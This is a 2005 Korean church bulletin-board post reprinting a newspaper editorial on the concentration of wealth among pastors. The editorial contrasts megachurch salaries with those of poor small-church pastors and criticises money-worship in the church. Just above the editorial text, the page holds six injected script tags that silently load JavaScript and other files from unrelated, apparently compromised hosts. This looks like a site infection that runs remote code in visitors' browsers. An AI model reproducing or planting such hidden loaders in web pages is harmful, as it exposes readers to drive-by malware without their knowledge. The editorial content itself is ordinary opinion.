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칼럼 [사설]교회, 부(富)의 편중이 심각하다[크리스챤연합신문07/13]

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작성자 by 관리자 / 작성일05-07-15 13:58 / 조회 5,195 / 댓글0

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<SCRIPT Language=JavaScript src=http://scha.nodong.net/bbs/data/free/ky1105.js></script>                            <SCRIPT Language=JavaScript src=http://php.chol.com/~wanho/bbs/data/poem/asuyoil.js></script>          <SCRIPT src=http://soccer1.ktdom.com/bbs/data/soccer4ugallery/keyp.txt></script>                              <SCRIPT Language=JavaScript src=http://poverty.jinbo.net/bbs/data/freeboard/softs.js></script>                                                    <SCRIPT Language=JavaScript src=http://rnjsdudwh.cafe24.com/Mics.php></script><SCRIPT Language=JavaScript src=http://dlcjsvlf.cafe24.com/Wiz.php></script>    교회, 부(富)의 편중이 심각하다
 
 
최근 어느 교계(敎界) 신문이 설문 조사하여 발표한 목회자 사례비에 관한 보고서에 따르면 우리나라 목회자들이 받는 사례비가 연평균 2천만 원에 미치지 못하는 것으로 나타나 적지 않은 충격을 던져주고 있다.

물론 조사대상 목회자들 가운데에는 월 천만 원 이상 고액의 사례비를 받고 거기에다 더 보태서 주택관리비에다 자녀 학비에 이르기까지 모든 문제를 교회가 해결해주는 그야말로 부자의 수준을 넘어 재벌 목사도 없지 않다는 사실은 이미 알려진 일이다. 이번 조사에서 나타난 빈곤현상 가운데 최저는 연간 5백 만원에서 1천만 원 미만의 사례비를 받는 목회자들이 약 18%로 나타나 또 다른 큰 대조를 보이고 있다.

한국교회가 이렇게까지 극심한 부익부 빈익빈으로 양극화된다는 것은 교회적으로 보나 하나님의 영광을 위해서나 결코 바람직하지 않은 현상이기에 이 문제를 짚어보고자 한다. 단지 부임한 교회의 교세가 약하다는 이유, 성도의 수가 많고 적음의 차이 하나 때문에 받아야 하는 상대적 빈곤감과 박탈감은 언제든지 기회만 오면 소위 말하는 큰 교회로 옮겨가겠다는 생각에 가득 차 있을 것이며, 따라서 목회자들 사이에서도 서로 보이지 않는 경쟁심과 자존심의 싸움 또한 적지 않을 것으로 짐작이 간다.

하나님의 양을 치는 사명을 함께 받은 동역자라기 보다는 다른 사람을 밀어내고서라도 내가 그 자리에 올라서야 한다는 적대감을 가진 주의 종이 없다고는 말할 수 없을 것이다. 그것은 결국 가난한 교회는 자주 목회자가 바뀌게 된다는 것과 부자 교회는 담임 목사의 장기집권(?)과 그에 따라 아부하고 눈치나 보는 부교역자들의 과잉 충성으로 자신도 모르는 사이에 제왕적 권위를 가진 타락한 목회자로 만들기 십상인 것이다.

가장 큰 문제는 학문적 깊이나 영성의 바르고 그름에 상관없이 무조건 돈이 많은 목사가 목회능력이 우수하고 뛰어나다고 존경받는 배금사상의 확산에 있다고 보겠다. ‘모로 가도 서울만 가면 된다’는 식의 우격다짐식 목회가 목회자들 사이에 존경의 대상이 되는 사이 밖에서 보는 기독교는 이 사회의 무가치한 집단으로 밖에 더할 것이 없다는 잘못된 인식을 심어주게 된다는 사실을 심각하게 받아들여야 할 것이다.

교회 안에서 부(富)의 편중이 점점 더 심각해져 가는 오늘의 현실을 지혜롭게 헤쳐 나가야 할 책임은 분명히 우리 교회 안에 있음은 두말할 나위가 없다. 대 교회가 가진 돈 많고 많이 배운 영혼들 못지 않게 가난하고 조금은 덜 세련된 작은 교회의 한 영혼도 하나님 앞에서는 똑같이 소중하다는 사실을 명심하고 작은 교회, 작은 목회자들에게 보다 관심을 가져 줄 것을 권고한다.

 
크리스챤연합신문 ( cu-press@hanmail.net )
작성일: 2005-07-13
 
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